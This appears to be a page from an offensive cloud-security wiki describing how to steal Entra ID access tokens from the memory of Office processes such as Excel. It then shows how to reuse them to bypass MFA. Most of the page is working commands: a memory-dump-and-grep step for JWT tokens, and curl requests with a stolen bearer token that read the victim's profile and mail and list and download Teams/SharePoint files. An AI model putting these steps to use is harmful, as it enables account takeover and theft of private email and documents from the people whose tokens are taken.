Az - Processes Memory Access Token

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Basic Information

As explained in this video, some Microsoft software synchronized with the cloud (Excel, Teams...) might store access tokens in clear-text in memory. So just dumping the memory of the process and grepping for JWT tokens might grant you access over several resources of the victim in the cloud bypassing MFA.

Steps:

1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
2. Run: string excel.dmp | grep 'eyJ0' and find several tokens in the output
3. Find the tokens that interest you the most and run tools over them:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Note that these kind of access tokens can be also found inside other processes.